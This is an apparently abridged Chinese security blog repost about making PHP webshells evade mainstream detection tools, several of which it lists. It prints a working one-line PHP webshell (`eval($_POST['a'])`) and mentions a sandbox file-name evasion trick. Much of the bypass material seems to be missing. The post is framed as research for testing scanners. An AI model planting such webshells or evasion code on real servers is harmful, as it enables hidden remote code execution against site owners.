前段时间在看某厂的WEBSHELL文本检测大赛,顺便也研究了一下php的一些免杀手段,这里我们仅讨论php中函数对绕过和特性,不会讲到混淆之类的免杀,那么灾做免杀之前我们先来看几个主流的webshell查杀工具。
D盾
阿D出品，使用自行研发不分扩展名的代码分析引擎，能分析更为隐藏的WebShell后门行为。
这里我们使用的是2023最新更新的版本2.1.7.2
安全狗
本地网马引擎与云端网马引擎结合，精确查杀各类网马、挂马、黑链与畸形文件。智能化查杀，精准、快速、资源耗用小、彻底有效清除后门隐患。
这里我们也是用2023版本的安全狗。
WEBDIR+
(百度)下一代WebShell检测引擎，采用先进的动态监测技术，结合多种引擎零规则查杀。
项目地址:https://scanner.baidu.com/#/pages/intro
ShellPub
(河马)专注webshell查杀研究，拥有海量webshell样本和自主查杀技术，采用传统特征+云端大数据双引擎的查杀技术。查杀速度快、精度高、误报低。
项目地址:https://n.shellpub.com/
CloudWalker
(牧云)一个可执行的命令行版本 Webshell 检测工具。
项目地址:https://stack.chaitin.com/security-challenge/webshell/index
webshell
那么接着就来构造webshell。
首先我们写一个最简单的webshell一句话木马。
<?php
eval($_POST['a']);
?>
发现依旧可以执行,接着我们想法放入沙箱后可能会进行重命名,可以通过获取文件名来达到差分攻击。
原文始发于微信公众号（山石网科安全技术研究院）：针对主流WebShell查杀工具的免杀绕过实践
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论